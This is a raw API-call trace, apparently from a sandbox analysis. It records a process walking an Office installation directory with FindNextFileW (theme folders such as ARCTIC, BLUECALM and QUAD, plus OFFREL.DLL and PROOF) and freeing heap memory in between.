	[0077.650] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0fbc434, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0fbc434, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c40, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1
	[0077.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0077.651] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1
	[0077.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0077.657] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1
	[0077.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0077.660] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc62081b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1bac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1
	[0077.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0077.662] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1
	[0077.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0077.663] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cec0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1
	[0077.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0077.663] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0077.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0077.668] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTCONV", cAlternateFileName="")) returned 1
	[0077.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0077.668] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES16", cAlternateFileName="")) returned 1
	[0077.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0077.672] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1
	[0077.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0077.673] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1
	[0077.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0077.673] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1
	[0077.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0077.674] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1
	[0078.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.021] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1
	[0078.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.030] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1
	[0078.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.033] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1
	[0078.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.033] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1
	[0078.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.049] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1
	[0078.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.049] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1
	[0078.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.050] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1
	[0078.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.051] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1
	[0078.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.051] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1
	[0078.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.052] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1
	[0078.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.053] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1
	[0078.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.054] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1
	[0078.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.054] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1
	[0078.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.055] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1
	[0078.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.055] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1
	[0078.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.056] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1
	[0078.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.058] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1
	[0078.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.059] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1
	[0078.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.059] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1
	[0078.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.060] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1
	[0078.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.061] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1
	[0078.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.062] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1
	[0078.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.062] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1
	[0078.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.063] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1
	[0078.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.064] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1
	[0078.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
